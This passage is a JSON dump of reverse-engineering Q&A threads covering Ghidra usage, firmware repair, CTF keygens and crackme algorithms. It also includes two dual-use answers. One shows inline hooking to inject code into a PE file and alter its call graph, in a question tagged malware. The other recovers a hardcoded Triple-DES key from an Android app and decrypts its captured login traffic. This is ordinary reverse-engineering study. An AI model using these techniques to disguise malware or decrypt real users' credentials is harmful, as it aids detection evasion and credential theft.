        "Answer": "<p>You can use <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/program/model/listing/Program.html#getImageBase()\" rel=\"noreferrer\"><code>currentProgram.getImageBase()</code></a> to obtain the base address. This returns an <code>Address</code> object.</p>\n\n<h3>Example</h3>\n\n<pre><code>&gt;&gt;&gt; currentProgram.getImageBase()\n00400000\n\n&gt;&gt;&gt; type(currentProgram.getImageBase())\n&lt;type 'ghidra.program.model.address.GenericAddress'&gt;\n\n&gt;&gt;&gt; currentProgram.getImageBase().getOffset()\n4194304L\n\n&gt;&gt;&gt; hex(currentProgram.getImageBase().getOffset())\n'0x400000L'\n</code></pre>\n"
    },
    {
        "Id": "23431",
        "CreationDate": "2020-03-13T04:10:54.250",
        "Body": "<p>I'm new to Ghidra so go easy on me. Running it on Windows.</p>\n\n<p>After successfully extracting a Bluetooth door lock's firmware from a nRF51, I proceeded to decompile it using Ghidra. My aim is to able to read some of its original source code, even though I understand it won't be as clean as the original.</p>\n\n<p>But, after analyzing the bin file, I get tons of error. Architecture used/tried to solve this issue was both the ARM Cortex LE 32 bit and the ARM v6 LE 32 bit. Looked for solutions on the internet and I did not find anyone with the same issue. All of the errors are <code>Bad Instruction</code>.</p>\n\n<p>Here's pictures of two different analyze:</p>\n\n<p>Without ARM Aggressive Instruction Finder (Prototype)\n<a href=\"https://i.stack.imgur.com/5Ipa2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5Ipa2.png\" alt=\"enter image description here\"></a></p>\n\n<p>With ARM Aggressive Instruction Finder (Prototype)\n<a href=\"https://i.stack.imgur.com/n6tM7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/n6tM7.png\" alt=\"enter image description here\"></a></p>\n\n<p>The reason I posted two pictures of my code browser because those two different analysis gave me different amount of bookmark. I know it's because of the Instruction Finder but who knows this might help you to help me.</p>\n\n<p>I have also tried adding a line into my <code>ia.sinc</code> file as suggested by a user named <em>nsadeveloper789</em> on a <a href=\"https://github.com/NationalSecurityAgency/ghidra/issues/22\" rel=\"nofollow noreferrer\">GitHub issue</a> but it did not solve my issue. I have also tried the <code>No Return</code> method from a <a href=\"https://initrd.net/stuff/ghidra/GhidraDocs/GhidraClass/Advanced/improvingDisassemblyAndDecompilation.pdf\" rel=\"nofollow noreferrer\">PDF lesson</a> (page 11) and no luck as well.</p>\n\n<p>Did used SVD-Loader as well but still doesn't solve the issue as the SVD-Loader's script itself might have an issue and I've commented on this issue on GitHub (currently no specific solution). You can have a look at this issue <a href=\"https://github.com/leveldown-security/SVD-Loader-Ghidra/issues/1\" rel=\"nofollow noreferrer\">here</a>. </p>\n\n<p>Does anyone knows how to solve this issue? I've been trying for a week or two now and even asked this in the unofficial Ghidra's Discord group but no answer yet.</p>\n\n<p>Looking forward for your answers. Thanks in advance.</p>\n\n<p>Here's a link to download the bin file:\n<a href=\"https://filebin.net/5abhimciwdfr5gfi\" rel=\"nofollow noreferrer\">https://filebin.net/5abhimciwdfr5gfi</a></p>\n",
        "Title": "Tons of error bookmark on Ghidra",
        "Tags": "|firmware|ghidra|",
        "Answer": "<p>The firmware is incorrectly dumped. In your file all occurrences of the byte <code>0A</code> have been replaced with <code>0D 0A</code>. Looks like a line ending issue. May be the tool which you have used to dump the firmware have prepended a <code>0D</code> to each <code>0A</code>.</p>\n\n<p>After replacing all instances of <code>0D 0A</code> with <code>0A</code>, it has an exact size of 256 KiB (262144 bytes) as it should be. Previously it had a size of 263788 bytes ~ 257.6 KiB.</p>\n\n<p>For reference, I've uploaded the fixed firmware <a href=\"https://send.firefox.com/download/7c1b0606a4118766/#tMQz5dAQHmK2MsXbBKyZUA\" rel=\"nofollow noreferrer\">here</a></p>\n\n<pre><code>$ ./sfk196-linux-64.exe replace dump.bin  -binary /0d0a/0a/ -yes\n[total hits/matching patterns/non-matching patterns]\n[1644/1/0] dump.bin   -1644 bytes\n1 files checked, 1 changed.\n\n$ du -b dump.bin\n262144  dump.bin\n</code></pre>\n\n<p>Further you can use <a href=\"https://github.com/DigitalSecurity/nrf5x-tools\" rel=\"nofollow noreferrer\">nrf5x-tools</a> on the fixed firmware to verify.</p>\n\n<pre><code>$ python3 ./nrfident.py bin ../dump.bin 2&gt;/dev/null\n############################ nRF5-tool ############################\n#####                                                         #####\n#####                Identifying nRF5x firmwares              #####\n#####                                                         #####\n###################################################################\n\n\nBinary file provided ../dump.bin\n\nComputing signature from binary\nSignature:  26d6240e598f89b8aeabcecb96f3c5595b07bfc315b969a13aca34b2e61a7dc0\nSearching for signature in nRF.db\n=========================\nSDK version:  8.1.0\nSoftDevice version: s110\nNRF: nrf51822\n=========================\nSDK version:  9.0.0\nSoftDevice version: s110\nNRF: nrf51822\n=========================\nSDK version:  10.0.0\nSoftDevice version: s110\nNRF: nrf51822\n=========================\nSDK version:  8.0.0\nSoftDevice version: s110\nNRF: nrf51822\n                               ==================\nnRF5x signature written to file nRF_ver in current directory\nnRF_ver path must be provided when running nrfreverse.py from IDA\n\n                                     *****\n                                  Binary mapping\n                                     *****\n\nSoftDevice  :  s110\nCard version :  xxaa\n           *****\nRAM address  :  0x20002000\nRAM length   :  0x2000\nROM address  :  0x18000\nROM length   :  0x28000\n\n                                     *****\n                                  Binary mapping\n                                     *****\n\nSoftDevice  :  s110\nCard version :  xxab\n           *****\nRAM address  :  0x20002000\nRAM length   :  0x2000\nROM address  :  0x18000\nROM length   :  0x8000\n\n                                     *****\n                                  Binary mapping\n                                     *****\n\nSoftDevice  :  s110\nCard version :  xxac\n           *****\nRAM address  :  0x20002000\nRAM length   :  0x6000\nROM address  :  0x18000\nROM length   :  0x28000\n</code></pre>\n\n<p>Loading the binary in Ghidra using the language <code>ARM-Cortex-32-little</code>, the code is readable.</p>\n\n<p><a href=\"https://i.stack.imgur.com/guQzz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/guQzz.png\" alt=\"enter image description here\"></a></p>\n\n<p>There are still some errors but those are because I have not created the memory segments. For more information look into the <a href=\"https://infocenter.nordicsemi.com/pdf/nRF51_RM_v3.0.pdf\" rel=\"nofollow noreferrer\">nRF51 Series Reference Manual</a>, Section - 5.</p>\n\n<p><a href=\"https://i.stack.imgur.com/v7L8t.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/v7L8t.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "23433",
        "CreationDate": "2020-03-14T05:58:54.143",
        "Body": "<p>What i want to do is take a PE file, extract its call-graph, and then inject a junk function in it, so for example by injecting a junk function inside of it, and changing a call instruction's opcode to point to this junk function, and then returning to the original destination after the junk code is done without changing the behavior of program</p>\n\n<p>so is there any open source program that does this so i can see how they did it? </p>\n\n<p>my idea is to create a new section in PE at the end of it, and change section headers by modifying an existing section which is not used or appending a new section header, and then change some call instruction to point to this</p>\n\n<p>the problem i think i will face is long calls, basically if the offset between junk code and call instruction is too far, then i have to change the call instruction to a far call instruction which makes things really complicated if not impossible</p>\n\n<p>so any suggestion? do you guys happen to know any open-source program that does this? or maybe i can approach this better? all i want is to change the call-graph of a PE file</p>\n",
        "Title": "What is the best way to change the call-graph of a PE file without changing its real behavior and without packing it?",
        "Tags": "|windows|x86|malware|pe|",
        "Answer": "<p>There are several ways you can achieve this. I assume you don't have source code of the executable, otherwise you would just tell the compiler to for example generate few <code>nop</code>s for you after the <code>call</code> opcode, so you would simply patch the call without any data shifting.</p>\n\n<p>As you said, you could replace the call with long call (but as far as I know all calls on x86-32 takes 4+1 bytes of space, no matter if they are relative or absolute) and shift all the instructions below because there is sometimes free space between functions generated by compiler (eg filed with 0xCC), but then you would need to fix all jumps/calls to addresses that are affected by your shift. Doing this you have to remember that there may be dynamicaly generated jump-tables/calls that you would also need to replace.</p>\n\n<p>The better approach would be to hook that function and apply short prolog and epilog to your payload. I will try to explain how it can be done. Let's say you have following assembly instructions:</p>\n\n<pre><code>0069DDCC            | 8B00                        | mov eax,dword ptr ds:[eax]\n0069DDCE            | 8B50 24                     | mov edx,dword ptr ds:[eax+24]\n0069DDD1            | A1 00506F00                 | mov eax,dword ptr ds:[6F5000]\n0069DDD6            | 8B00                        | mov eax,dword ptr ds:[eax]\n</code></pre>\n\n<p>And you want to redirect the code flow at <code>0x69DDCE</code> to your function that is located at <code>0xDEADBEEF</code>. As you can see the instruction at <code>0x69DDCE</code> is 3 bytes long, but the long jmp is actually 5 bytes long. After patching the 5 bytes our code looks like:</p>\n\n<pre><code>0069DDCC            | 8B00                        | mov eax,dword ptr ds:[eax]\n0069DDCE            | E9 1CE143DE                 | jmp DEADBEEF\n0069DDD3            | 5C                          | pop esp\n0069DDD4            | 6F                          | outsd\n0069DDD5            | 008B 00E81770               | add byte ptr ds:[ebx+7017E800],cl\n</code></pre>\n\n<p>This is because we have partially overwritten the <code>mov eax,dword ptr ds:[6F5000]</code> so our code will change the behavior after returning from your function at <code>0xDEADBEEF</code>. The thing we need to do here is to <code>NOP</code> the instruction totally, so in fact we need to patch 8 bytes (<code>mov edx,dword ptr ds:[eax+24]</code> + <code>mov eax,dword ptr ds:[6F5000]</code>), so it will look like this:</p>\n\n<pre><code>0069DDCC            | 8B00                        | mov eax,dword ptr ds:[eax]\n0069DDCE            | E9 1CE143DE                 | jmp DEADBEEF\n0069DDD3            | 90                          | nop\n0069DDD4            | 90                          | nop\n0069DDD5            | 90                          | nop\n0069DDD6            | 8B00                        | mov eax,dword ptr ds:[eax]\n</code></pre>\n\n<p>Now we need to prepare our payload at <code>0xDEADBEEF</code>. Keep in mind that you have removed two instructions from the original code, so you need to execute them at some point, also note the address where we should restore the original code flow, which is <code>0x69DDD6</code>. If you plan to modify the registers in your payload you need to save them, the best would be probably to call the pushad/pushfd, so the final payload at <code>0xDEADBEEF</code> can look like this</p>\n\n<pre><code>pushad\npushfd\n; your code\npopfd\npopad\nmov edx,dword ptr ds:[eax+24]\nmov eax,dword ptr ds:[6F5000]\njmp 0x69DDD6\n</code></pre>\n\n<p>The <code>mov</code>s in the payload are the ones you have deleted from original code, and the <code>jmp 0x69DDD6</code> is the place where you should restore the original flow. Keep in mind that if you write something to the program memory in your code you may change the way program executes if it will use your changed data at some point. Otherwise the program should continue normally after jumping back from your function.</p>\n"
    },
    {
        "Id": "23459",
        "CreationDate": "2020-03-18T00:50:30.810",
        "Body": "<p>Disclaimer: I'm not asking for the solution to this problem, but for you to point out the particular areas or techniques of reverse engineering that I need to improve at in order to solve this problem myself.</p>\n\n<p>The code in question comes from the game \"Sourcery,\" it's basically a CTF inside a game. The game doesn't give you the ability to debug or modify the code whatsoever, so the problem to solve here is to find an input that will make <code>verify_code</code> return 1.</p>\n\n<p>So far I had the idea of trying to brute force the solution, i.e. trying all possible codes until I find one that works. The range of acceptable characters for the code is all printable ascii chars, and we need to figure out 16 chars, which seems like it would take too much time to brute force unless you were able to reduce the character range.</p>\n\n<p>The thing that is making this hard for me to mentally analyze is that it seems like if you change one character, it can change the effect that successive characters have on the execution path. </p>\n\n<p>Any ideas how to approach this?</p>\n\n<pre><code>; int verify_code(char *code)\nverify_code:\n    push esi\n    push ebp\n    mov ebp, esp\n    sub esp, 8\n\n    push dword [ebp + 12]\n    call strlen\n    cmp eax, 16\n; the code must be 16 characters long.\n    jne .bad\n\n    mov esi, [ebp + 12]\n    mov edx, 0xfa\n\n    mov al, [esi]\n    rol edx, 5\n    xor dl, al\n    add dl, 0xab\n\n    mov al, [esi+1]\n    rol edx, 3\n    xor dl, al\n    add dl, 0x45\n\n    mov al, [esi+2]\n    rol edx, 1\n    xor dl, al\n    add dl, 0x12\n\n    mov al, [esi+3]\n    rol edx, 9\n    xor dl, al\n    add dl, 0xcd\n\n    mov cl, dl\n    and cl, 15\n    add cl, 'a'\n    cmp [esi+4], cl\n    jne .bad\n\n    rol edx, 12\n    xor dl, cl\n    add dl, 0x87\n    mov cl, dl\n    and cl, 15\n    add cl, 'a'\n    cmp [esi+5], cl\n    jne .bad\n\n    rol edx, 3\n    xor dl, cl\n    add dl, 0xef\n    mov cl, dl\n    and cl, 15\n    add cl, 'C'\n    cmp [esi+6], cl\n    jne .bad\n\n    rol edx, 1\n    xor dl, cl\n    add dl, 0x10\n    mov cl, dl\n    and cl, 15\n    add cl, 'f'\n    cmp [esi+7], cl\n    jne .bad\n\n    rol edx, 13\n    xor dl, cl\n    add dl, 0x9a\n    mov cl, dl\n    and cl, 15\n    add cl, 'e'\n    cmp [esi+8], cl\n    jne .bad\n\n    rol edx, 9\n    xor dl, cl\n    add dl, 0xa8\n    mov cl, dl\n    and cl, 15\n    add cl, 'D'\n    cmp [esi+9], cl\n    jne .bad\n\n    rol edx, 7\n    xor dl, cl\n    add dl, 0xca\n    mov cl, dl\n    and cl, 15\n    add cl, 'D'\n    cmp [esi+10], cl\n    jne .bad\n\n    rol edx, 2\n    xor dl, cl\n    add dl, 0x91\n    mov cl, dl\n    and cl, 15\n    add cl, 'c'\n    cmp [esi+11], cl\n    jne .bad\n\n    rol edx, 5\n    xor dl, cl\n    add dl, 0x86\n    mov cl, dl\n    and cl, 15\n    add cl, 'A'\n    cmp [esi+12], cl\n    jne .bad\n\n    rol edx, 6\n    xor dl, cl\n    add dl, 0xf1\n    mov cl, dl\n    and cl, 15\n    add cl, 'e'\n    cmp [esi+13], cl\n    jne .bad\n\n    rol edx, 3\n    xor dl, cl\n    add dl, 0x1f\n    mov cl, dl\n    and cl, 15\n    add cl, 'B'\n    cmp [esi+14], cl\n    jne .bad\n\n    rol edx, 4\n    xor dl, cl\n    add dl, 0x90\n    mov cl, dl\n    and cl, 15\n    add cl, 'f'\n    cmp [esi+15], cl\n    jne .bad\n\n    mov al, 1\n    mov esp, ebp\n    pop ebp\n    pop esi\n    ret 4\n\n.bad:\n    xor al, al\n    mov esp, ebp\n    pop ebp\n    pop esi\n    ret 4\n</code></pre>\n",
        "Title": "How to reason about this rotating XOR problem?",
        "Tags": "|cryptography|",
        "Answer": "<p>After looking over the assembly source again, I realized that the last 12 characters of the code depended completely on the values of the first 4. Because of this, you can generate the last 12 characters from the first 4. The code can be lifted (as suggested by other answers) with some small modifications to the code to perform writes instead of cmp+jne.\nNote: The encryption method is basically a Feistel cipher.</p>\n<p>Below is the modified lifted code I used to generate the flag:</p>\n<pre><code>section .text\n    global _start\n_start:\n    call generate_code\n    mov edx, 16     ;message length\n    mov ecx, msg    ;message to write\n    mov ebx, 1      ;file descriptor (stdout)\n    mov eax, 4      ;system call number (sys_write)\n    int 0x80        ;syscall\n    jmp _done\n_done:\n    mov eax, 1      ;system call number (sys_exit)\n    int 0x80        ;syscall\n    \ngenerate_code:\n    push esi\n    push ebp\n    mov ebp, esp\n\n    mov esi, msg\n    mov edx, 0xfa\n\n    mov al, [esi]\n    rol edx, 5\n    xor dl, al\n    add dl, 0xab\n    \n    mov al, [esi+1]\n    rol edx, 3\n    xor dl, al\n    add dl, 0x45\n\n    mov al, [esi+2]\n    rol edx, 1\n    xor dl, al\n    add dl, 0x12\n\n    mov al, [esi+3]\n    rol edx, 9\n    xor dl, al\n    add dl, 0xcd\n\n    mov cl, dl\n    and cl, 15\n    add cl, 'a'\n    mov [esi+4], cl\n\n    rol edx, 12\n    xor dl, cl\n    add dl, 0x87\n    mov cl, dl\n    and cl, 15\n    add cl, 'a'\n    mov [esi+5], cl\n\n    rol edx, 3\n    xor dl, cl\n    add dl, 0xef\n    mov cl, dl\n    and cl, 15\n    add cl, 'C'\n    mov [esi+6], cl\n\n    rol edx, 1\n    xor dl, cl\n    add dl, 0x10\n    mov cl, dl\n    and cl, 15\n    add cl, 'f'\n    mov [esi+7], cl\n\n    rol edx, 13\n    xor dl, cl\n    add dl, 0x9a\n    mov cl, dl\n    and cl, 15\n    add cl, 'e'\n    mov [esi+8], cl\n\n    rol edx, 9\n    xor dl, cl\n    add dl, 0xa8\n    mov cl, dl\n    and cl, 15\n    add cl, 'D'\n    mov [esi+9], cl\n\n    rol edx, 7\n    xor dl, cl\n    add dl, 0xca\n    mov cl, dl\n    and cl, 15\n    add cl, 'D'\n    mov [esi+10], cl\n\n    rol edx, 2\n    xor dl, cl\n    add dl, 0x91\n    mov cl, dl\n    and cl, 15\n    add cl, 'c'\n    mov [esi+11], cl\n\n    rol edx, 5\n    xor dl, cl\n    add dl, 0x86\n    mov cl, dl\n    and cl, 15\n    add cl, 'A'\n    mov [esi+12], cl\n\n    rol edx, 6\n    xor dl, cl\n    add dl, 0xf1\n    mov cl, dl\n    and cl, 15\n    add cl, 'e'\n    mov [esi+13], cl\n\n    rol edx, 3\n    xor dl, cl\n    add dl, 0x1f\n    mov cl, dl\n    and cl, 15\n    add cl, 'B'\n    mov [esi+14], cl\n\n    rol edx, 4\n    xor dl, cl\n    add dl, 0x90\n    mov cl, dl\n    and cl, 15\n    add cl, 'f'\n    mov [esi+15], cl\n\n    mov al, 1\n    mov esp, ebp\n    pop ebp\n    pop esi\n    ret\n    \nsection .data\n    msg db  '0000000000000000', 16\n</code></pre>\n"
    },
    {
        "Id": "23468",
        "CreationDate": "2020-03-19T21:59:56.083",
        "Body": "<p>I'm looking at a binary file whose starting bytes are <code>0x4E 0x58 0x50</code>. Is this an established magic number for a file format? If so, what format is it? My google-fu has proven too weak to find an answer on the intertubes.</p>\n",
        "Title": "Is there a image format that starts with 0x4E 0x58 0x50 (ASCII 'NXP')?",
        "Tags": "|file-format|binary-format|",
        "Answer": "<p>It is a .NPK file. The full signature is <code>NXPK</code>.</p>\n<p>Use the latest version of quickbms to extract the game.\nYou can't use offzip because npk files are compressed with lz4.</p>\n"
    },
    {
        "Id": "23469",
        "CreationDate": "2020-03-20T01:19:47.877",
        "Body": "<p>I am using ghidra to do some reverse engineering of an ARM binary. I am wondering whether there is a way to get the basic blocks related to all the listing. Is there a function through the IDE or a script through the script manager that I could used in order to get basic blocks at least within a function. Though I found scripts to decompile the binary I couldn't find a function that listed the basic blocks. Apart from ghidra is there any other reverse engineering tools that would help me to achieve this job? Thank you!</p>\n",
        "Title": "Way to get basic blocks of a binary using Ghidra",
        "Tags": "|binary-analysis|firmware|radare2|ghidra|",
        "Answer": "<p>Pyhidra (<a href=\"https://github.com/dod-cyber-crime-center/pyhidra\" rel=\"nofollow noreferrer\">github</a>, <a href=\"https://pypi.org/project/pyhidra/\" rel=\"nofollow noreferrer\">website</a>) is another API for interacting with Ghidra using Python.</p>\n<p>Pyhidra can be used within Ghidra in addition to the built-in Python runtime, but when used standalone as in these examples, the <code>from ghidra</code> imports must be inside the context manager (<code>with pyhidra.open_program(...</code>) as this essentially takes the place of opening Ghidra and loading a program.</p>\n<p>Here are some of the answers to this question, ported to Python 3.6+ and Pyhidra for standalone use:</p>\n<h2>0xec (1)</h2>\n<pre class=\"lang-py prettyprint-override\"><code>import pyhidra\nprogram = 'path/to/my.exe'\n\nwith pyhidra.open_program(program) as flat_api:\n  from ghidra.program.model.block import BasicBlockModel\n  from ghidra.util.task import TaskMonitor\n  monitor = TaskMonitor.DUMMY\n  currentProgram = flat_api.currentProgram\n  for b in BasicBlockModel(currentProgram).getCodeBlocks(monitor):\n    print(f'Label: {b.name}')\n    print(f'Min Address: {b.minAddress}')\n    print(f'Max Address: {b.maxAddress}')\n    print()\n</code></pre>\n<h2>0xec (2)</h2>\n<pre class=\"lang-py prettyprint-override\"><code>import pyhidra\nprogram = 'path/to/my.exe'\n\nwith pyhidra.open_program(program) as flat_api:\n  from ghidra.program.model.block import BasicBlockModel\n  from ghidra.util.task import TaskMonitor\n  monitor = TaskMonitor.DUMMY\n  currentProgram = flat_api.currentProgram\n  for block in BasicBlockModel(currentProgram).getCodeBlocks(monitor):\n      listing = currentProgram.getListing()\n      for ins in listing.getInstructions(block, True):\n          print(f'{ins.getAddressString(False, True)} {ins}')\n\n      print()\n</code></pre>\n"
    },
    {
        "Id": "23471",
        "CreationDate": "2020-03-20T10:41:57.920",
        "Body": "<p>can anyone explain the following code? is it possible to retrieve the encryption key?\nI think the code was heavily obfuscated in addition to obfuscation, I can recognize it is using algorithms like <strong>DESEDE</strong> with <em>CBC</em> and <em>PKCS5Padding</em> to encrypt http post traffic from the app. my question is does any one know how to retrieve the key here? </p>\n\n<pre><code>package c.e.a.a.g;\n\nimport a.a;\nimport android.util.Base64;\nimport java.io.UnsupportedEncodingException;\nimport java.security.GeneralSecurityException;\nimport java.security.InvalidKeyException;\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.Random;\nimport java.util.regex.Pattern;\nimport javax.crypto.BadPaddingException;\nimport javax.crypto.Cipher;\nimport javax.crypto.IllegalBlockSizeException;\nimport javax.crypto.NoSuchPaddingException;\nimport javax.crypto.spec.SecretKeySpec;\n\npublic class b {\n\n    /* renamed from: a reason: collision with root package name */\n    private static volatile b f4799a;\n\n    /* renamed from: b reason: collision with root package name */\n    private byte[] f4800b = null;\n\n    /* renamed from: c reason: collision with root package name */\n    private String f4801c;\n\n    private b() {\n        try {\n            this.f4801c = a.a(new byte[]{97, 110, 100, 95, 50, 51, 116, 107, 108, 35, 95, 97, 105, 116, 33}, new byte[]{75, 24, 109, 27, -24, -51, 22, -58, -44, -74, 21, 91, -88, 48, -52, -63, 69, -67, 71, 17, 116, 77, 70, -94, 41, 121, 20, 120, 8, 121, 33, 77});\n        } catch (GeneralSecurityException e2) {\n            e2.printStackTrace();\n        }\n        this.f4800b = e(this.f4801c);\n    }\n\n    public static b a() {\n        if (f4799a == null) {\n            synchronized (b.class) {\n                if (f4799a == null) {\n                    f4799a = new b();\n                }\n            }\n        }\n        return f4799a;\n    }\n\n    private final String c(String str) {\n        try {\n            Cipher instance = Cipher.getInstance(\"DESEDE/ECB/PKCS5Padding\");\n            instance.init(2, new SecretKeySpec(this.f4800b, \"DESede\"));\n            return a(instance.doFinal(new a().a(str)));\n        } catch (Exception e2) {\n            e2.printStackTrace();\n            return null;\n        }\n    }\n\n    private final String d(String str) {\n        try {\n            Cipher instance = Cipher.getInstance(\"DESEDE/ECB/PKCS5Padding\");\n            instance.init(1, new SecretKeySpec(this.f4800b, \"DESede\"));\n            try {\n                return Base64.encodeToString(instance.doFinal(str.getBytes()), 0);\n            } catch (IllegalBlockSizeException e2) {\n                e2.printStackTrace();\n                return \"\";\n            } catch (BadPaddingException e3) {\n                e3.printStackTrace();\n                return \"\";\n            }\n        } catch (NoSuchAlgorithmException e4) {\n            e4.printStackTrace();\n        } catch (NoSuchPaddingException e5) {\n            e5.printStackTrace();\n        } catch (InvalidKeyException e6) {\n            e6.printStackTrace();\n        }\n    }\n\n    private final byte[] e(String str) {\n        try {\n            return MessageDigest.getInstance(\"MD5\").digest(str.getBytes(\"UTF-8\"));\n        } catch (NoSuchAlgorithmException e2) {\n            e2.printStackTrace();\n            return null;\n        } catch (UnsupportedEncodingException e3) {\n            e3.printStackTrace();\n            return null;\n        }\n    }\n\n    public String b(String str) {\n        StringBuilder sb = new StringBuilder();\n        sb.append(str);\n        sb.append(b());\n        return d(sb.toString());\n    }\n\n    private String b() {\n        int nextInt = new Random().nextInt(999999);\n        StringBuilder sb = new StringBuilder();\n        sb.append(\"|\");\n        sb.append(nextInt);\n        return sb.toString();\n    }\n\n    public String a(String str) {\n        return c(str).split(Pattern.quote(\"|\"))[0];\n    }\n\n    public b(String str) {\n        this.f4800b = e(str);\n    }\n\n    private final String a(byte[] bArr) {\n        StringBuffer stringBuffer = new StringBuffer();\n        for (byte b2 : bArr) {\n            stringBuffer.append((char) b2);\n        }\n        return stringBuffer.toString();\n    }\n}\n</code></pre>\n\n<p>an example of encrypted http post request produced by this code is like following:</p>\n\n<pre><code>{\"MobileUsersBE\":{\"AppVersion\":\"vB0gg8dKw8/ssTAXDUHLDw==\\n\",\"DeviceCode\":\"NUIDvs43seBumI3SU7Q1R/NWzO0ylo08jPjWcGUxZsFCjEu/IEjcEUYM4V6zswVc\\n\",\"DeviceType\":\"android\",\"GCMCellId\":\"\",\"Password\":\"P4fM264BxQXhd3RQu5vk8w==\\n\",\"UserName\":\"i2WZyhFJ9CZTx40Th83siw==\\n\"},\"ServiceUsersBE\":{\"AppVersion\":\"ZA+PaD1HcAVZ384ENwEWBw==\\n\",\"DeviceCode\":\"NUIDvs43seBumI3SU7Q1R/NWzO0ylo08jPjWcGUxZsFOFoCbYVotoPrT8YV4yEHL\\n\",\"DeviceType\":\"android\",\"Password\":\"t1h6/ATZ26VA8nS+fcnvkv0wtPbV8onO\\n\",\"TransactionCode\":\"vfTVe1PFdoFSMOdyYSxAI33cLtBw3z3uUrzOGlZJafQYzgg+Te+n/sDv/nyll3T2\",\"UserName\":\"N67a2TEuY68jsRadkP0JGrh64aKxVin1\\n\"}}\n</code></pre>\n",
        "Title": "How can I retrieve the encryption key in this code?",
        "Tags": "|android|encryption|java|patch-reversing|apk|",
        "Answer": "<p>The encryption key is stored in the variable <code>f4800b</code>. It comes out to the following byte array.</p>\n\n<pre><code>43, 57, 97, -68, -63, -61, -40, 9, 50, 87, -104, 101, 63, 34, -78, 60\n</code></pre>\n\n<p>The cipher algorithm used is Triple-DES in ECB mode. It can be decrypted by the following snippet. Note that it requires the BouncyCastle Crypto provider for Java.</p>\n\n<pre><code>import java.security.*;\nimport java.util.Base64;\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.SecretKeySpec;\nimport org.bouncycastle.jce.provider.BouncyCastleProvider;\n\npublic class Main\n{\n    public static void main(String args[]) throws Exception\n    {\n        Security.addProvider(new BouncyCastleProvider());\n        byte key[] = new byte[] {43, 57, 97, -68, -63, -61, -40, 9, 50, 87, -104, 101, 63, 34, -78, 60};\n\n        //Base64 encoded cipher text here\n        byte ct[] = Base64.getDecoder().decode(\"i2WZyhFJ9CZTx40Th83siw==\");\n\n        Cipher instance = Cipher.getInstance(\"DESEDE/ECB/PKCS5Padding\");\n        instance.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key, \"DESede\"));\n        String pt = new String(instance.doFinal(ct));\n        System.out.println(pt);\n    }\n}\n\n</code></pre>\n\n<h2>Sample output</h2>\n\n<p>Using the JSON snippet you provided</p>\n\n<pre><code>{\n   \"MobileUsersBE\":{\n      \"AppVersion\":\"vB0gg8dKw8/ssTAXDUHLDw==\\n\",\n      \"DeviceCode\":\"NUIDvs43seBumI3SU7Q1R/NWzO0ylo08jPjWcGUxZsFCjEu/IEjcEUYM4V6zswVc\\n\",\n      \"DeviceType\":\"android\",\n      \"GCMCellId\":\"\",\n      \"Password\":\"P4fM264BxQXhd3RQu5vk8w==\\n\",\n      \"UserName\":\"i2WZyhFJ9CZTx40Th83siw==\\n\"\n   },\n   \"ServiceUsersBE\":{\n      \"AppVersion\":\"ZA+PaD1HcAVZ384ENwEWBw==\\n\",\n      \"DeviceCode\":\"NUIDvs43seBumI3SU7Q1R/NWzO0ylo08jPjWcGUxZsFOFoCbYVotoPrT8YV4yEHL\\n\",\n      \"DeviceType\":\"android\",\n      \"Password\":\"t1h6/ATZ26VA8nS+fcnvkv0wtPbV8onO\\n\",\n      \"TransactionCode\":\"vfTVe1PFdoFSMOdyYSxAI33cLtBw3z3uUrzOGlZJafQYzgg+Te+n/sDv/nyll3T2\",\n      \"UserName\":\"N67a2TEuY68jsRadkP0JGrh64aKxVin1\\n\"\n   }\n}\n</code></pre>\n\n<p>Shown below are the ciphertexts and the corresponding plaintext to which it decrypts to.</p>\n\n<pre><code>vB0gg8dKw8/ssTAXDUHLDw==\n2.3|138771\n</code></pre>\n\n<pre><code>NUIDvs43seBumI3SU7Q1R/NWzO0ylo08jPjWcGUxZsFCjEu/IEjcEUYM4V6zswVc\n8f850645-36ec-350a-8bb3-09c004daeb14|36159\n</code></pre>\n\n<pre><code>P4fM264BxQXhd3RQu5vk8w==\ntest1234|364081\n</code></pre>\n\n<pre><code>i2WZyhFJ9CZTx40Th83siw==\ntest|55664\n</code></pre>\n\n<p>Note that each plain text has a random number appended at the end after the <code>|</code> sign. This acts like a salt so that identical plain-texts do not encrypt to the same ciphertext.</p>\n"
    },
    {
        "Id": "23480",
        "CreationDate": "2020-03-21T00:56:39.630",
        "Body": "<p><strong>I'm trying to solve this challenge but I can't understand the algorithm.</strong></p>\n\n<p>it takes the name and generate the serial with this algoritm</p>\n\n<pre><code>private int Encrypt(string Input)\n        {\n            int num = 0;\n            checked\n            {\n                int num2 = Input.Length - 1;\n                int num3 = num;\n                int num6;\n                for (;;)\n                {\n                    int num4 = num3;\n                    int num5 = num2;\n                    if (num4 &gt; num5)\n                    {\n                        break;\n                    }\n                    char @string = Conversions.ToChar(Input.Substring(num3));\n                    num6 = (int)Math.Round(unchecked(Conversions.ToDouble(Conversion.Oct(Strings.Asc(Conversions.ToString(num6))) + Conversion.Oct(Strings.Asc(@string))) + 666.0));\n                    num3++;\n                }\n                return num6;\n            }\n        }\n</code></pre>\n\n<p><strong>for example, I entered 'A' and calculated serial as shown:</strong>\nnum6 = octal + octal + decimal</p>\n\n<p>\u2018A\u2019 = 65 = 101 in octal</p>\n\n<p>666 = 1232 in octal</p>\n\n<p>num6 = 0</p>\n\n<p>num6: \nOctal = 0 + 101 + 1232 = 1333</p>\n\n<p>Decimal = 731</p>\n\n<p>but the output is : 60767</p>\n\n<p>How?</p>\n",
        "Title": "I can't understand this algorithm",
        "Tags": "|.net|",
